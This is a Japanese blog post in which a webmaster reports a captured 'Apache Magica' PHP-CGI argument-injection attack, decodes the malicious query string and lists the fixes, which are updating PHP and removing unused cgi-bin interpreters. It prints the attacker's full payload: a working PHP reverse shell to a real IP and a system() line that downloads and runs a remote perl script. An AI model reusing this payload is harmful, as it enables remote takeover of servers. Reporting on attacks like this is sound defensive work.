魔法少女アパッチ☆マギカ

自分のWebサイトでこのような攻撃を受けていました。
※URLは一部変えています。

POST /cgi-bin/php.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1 
Host: xxx.xxx.xxx.xxx 
User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 2456 
Connection: close 

<?php 
set_time_limit(0); 
$ip = '94.75.193.145'; 
$port = '90'; 
$chunk_size = 1400; 
$write_a = null; 
$error_a = null; 
$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i'; 
$daemon = 0; 
$debug = 0; 
system("cd /var/tmp/;rm -rf d1*;killall -9 perl;wget http://xxxxxxxxxxxxxxxxxx/d1e.txt; curl -O http://xxxxxxxxxxxxxxxxxx/d1e.txt; lwp-download http://xxxxxxxxxxxxxxxxxx/d1e.txt; fetch http://xxxxxxxxxxxxxxxxxx/d1e.txt;perl d1e.txt;rm -rf d1e.txt"); 
if (function_exists('pcntl_fork')) { 
$pid = pcntl_fork(); 
if ($pid == -1) { 
printit("ERROR: Can't fork"); 
exit(1); 
} 
if ($pid) { 
exit(0); 
} 
if (posix_setsid() == -1) { 
printit("Error: Can't setsid()"); 
exit(1); 
} 
$daemon = 1; 
} else { 
printit("WARNING: Failed to daemonise."); 
} 
chdir("/"); 
umask(0); 
$sock = fsockopen($ip, $port, $errno, $errstr, 30); 
if (!$sock) { 
printit("$errstr ($errno)"); 
exit(1); 
} 
$descriptorspec = array( 
0 => array("pipe", "r"), 
1 => array("pipe", "w"), 
2 => array("pipe", "w") 
); 
$process = proc_open($shell, $descriptorspec, $pipes); 
if (!is_resource($process)) { 
printit("ERROR: Can't spawn shell"); 
exit(1); 
} 
stream_set_blocking($pipes[0], 0); 
stream_set_blocking($pipes[1], 0); 
stream_set_blocking($pipes[2], 0); 
stream_set_blocking($sock, 0); 
while (1) { 
if (feof($sock)) { 
printit("ERROR: Shell connection terminated"); 
break; 
} 
if (feof($pipes[1])) { 
printit("ERROR: Shell process terminated"); 
break; 
} 
$read_a = array($sock, $pipes[1], $pipes[2]); 
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); 
if (in_array($sock, $read_a)) { 
if ($debug) printit("SOCK READ"); 
$input = fread($sock, $chunk_size); 
if ($debug) printit("SOCK: $input"); 
fwrite($pipes[0], $input); 
} 
if (in_array($pipes[1], $read_a)) { 
if ($debug) printit("STDOUT READ"); 
$input = fread($pipes[1], $chunk_size); 
if ($debug) printit("STDOUT: $input"); 
fwrite($sock, $input); 
} 
if (in_array($pipes[2], $read_a)) { 
if ($debug) printit("STDERR READ"); 
$input = fread($pipes[2], $chunk_size); 
if ($debug) printit("STDERR: $input"); 
fwrite($sock, $input); 
} 
} 

fclose($sock); 
fclose($pipes[0]); 
fclose($pipes[1]); 
fclose($pipes[2]); 
proc_close($process); 
function printit ($string) { 
if (!$daemon) { 
print "$string 
"; 
} 
} 
exit(1); 
?>'

最初のPOSTのデータ処理は何が書いてあるか分かりませんが
デコードしてみると何がかいてあるか分かります。

デコード・エンコードするには下記ページが役立ちます。
http://www.tagindex.com/tool/url.html

■デコード前

POST /cgi-bin/php.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1 

■デコード後

POST /cgi-bin/php.cgi?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n HTTP/1.1 

これは徳丸さんの日記に書かれていますが、
魔法少女アパッチ☆マギカという攻撃のようで
もし脆弱性があれば任意のコードが実行されるようです。

■徳丸さんの日記
http://blog.tokumaru.org/2013/11/apache-magica-attack.html

上の検知した攻撃ではとりあえず http://xxxxxxxxxxxxxxxxxx/d1e.txtをダウンロードしようとしてますね。
これはダウンロードするとウィルス対策ソフトにブロックされますので
まともなファイルではないことが分かります。

徳丸さんのブログによると、この攻撃の対処方法としては

・最新版のPHP(本稿執筆十点では、PHP5.3.27、PHP5.4.21、PHP5.5.5)を導入する
・/cgi-bin/等に使用していないPHP処理系がある場合は削除する

のようです。
私のサイトは幸い大丈夫でしたが
攻撃は日々進化しているので怖いですね。

以下のサイトにも情報がありました。

■[セキュリティ][PHP] /cgi-bin/phpへの魔法少女アパッチ☆マギカ攻撃への注意喚起
http://d.hatena.ne.jp/ozuma/20131117/1384616643

以上

関連する投稿:

コメントを残す

メールアドレスが公開されることはありません。

このサイトはスパムを低減するために Akismet を使っています。コメントデータの処理方法の詳細はこちらをご覧ください